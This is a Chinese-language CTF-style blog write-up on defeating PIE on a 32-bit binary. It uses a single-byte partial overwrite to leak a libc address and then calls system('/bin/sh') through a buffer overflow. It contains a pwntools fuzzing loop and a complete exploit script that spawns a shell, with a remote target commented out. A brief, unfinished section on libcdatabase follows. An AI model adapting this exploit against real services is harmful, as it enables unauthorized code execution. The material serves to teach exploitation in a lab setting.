bypass pie use partial overwrite2 and libcdatabase

前言

  这篇继续学习PIE bypass和通过libcdatabase查找libc库。

DEMO1

  在上一篇文章中采用了爆破程序中的某个函数(如send)的地址,通过判断是否有信息返回作为判断依据,但这个前提是使用了fork进程,因为这样每次的地址才不会变。

  而在这个例子中,服务端并没有采用fork,我们每次请求的地址都不一样,所以就不能像上一道题的爆破做法。先看看程序代码:




  漏洞产生在read_msg(0, &s, 128, 10),前面的read_msg并不会溢出。

  checksec如下:


  canary是没开的。这里采用的手法也跟前面相似,还是要利用partial overwrite,是程序产生crash,然后我们从输出的数据中发现有价值的信息。一样的因为pie的原因,我们只能操作最低一个字节,可以先写个程序爆破一波,并观察crash。脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def fuzz():
for a in range(1,256):
p = process('./pieagain')
# p = remote(ip, 10008)
p.recvline()
payload = 'A' * 4
p.sendline(payload)

p.recvline()
p.recvline()
# pause()
payload = 'A' * 4 * 11 + chr(a)
p.sendline(payload)
try:
p.recvline()
print "======================ok------------" + hex(a)
except:
pass
p.close()

  然后可能在几个地方得到crash,然后对这些产生地方的地址进行筛选,挑选合适的点。这里我得到了\x83\xde等等。。。

  接着对crash出来的数据进行分析:







  可以看到这里泄露了libc的地址,但不是基地址,离基地址有这0xf76f3000 - 0xf7541000 = 0x1b2000,而这个差距每次都是固定的,通过readelf -S可以看到这是.got.plt偏移地址。


这里是我本地的偏移地址,我们再打远程时一定要换成远程libc的偏移地址。

  有了libc基地址后就可以写exp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# -*- coding:utf-8 -*-

from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

ip = '192.168.10.11'
# p = remote(ip, 10008)
p = process('./pieagain')
pelf = ELF('./pieagain')
libc = ELF('./libc.so.local')

p.recvline()
payload = 'A' * 4
p.sendline(payload)

p.recvline()
p.recvline()
pause()
payload = 'A' * 4 * 11 + '\xde'
p.sendline(payload)
data = p.recv()
libc_base_addr = u32('\x00'+data[9:12]) - 0x1b2000
log.debug("libc_base_addr =======> " + hex(libc_base_addr))
# 细心的大佬发现这里是code base...
# program_start = u32(data[100:100+4]) & 0xfffff000
# log.info("program start addr: " + hex(program_start))

libc.address = libc_base_addr
system_addr = libc.symbols['system']
log.debug("system_addr: " + hex(system_addr))
binsh = next(libc.search('/bin/sh'))
log.debug("binsh_addr: " + hex(binsh))

payload = 'B' * 4 * 11 + p32(system_addr) + p32(system_addr) + p32(binsh)
pause()
log.debug("ready to call system...")
p.sendline(payload)
def fuzz():
# 看上面的
pass

# fuzz()
p.interactive()

DEMO2

  但我们没有libc时我们可以通过泄露两个libc函数的地址,然后取最后三位,因为基址的后三位为0,然后取libcdatabase查询,可以点击这里



评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×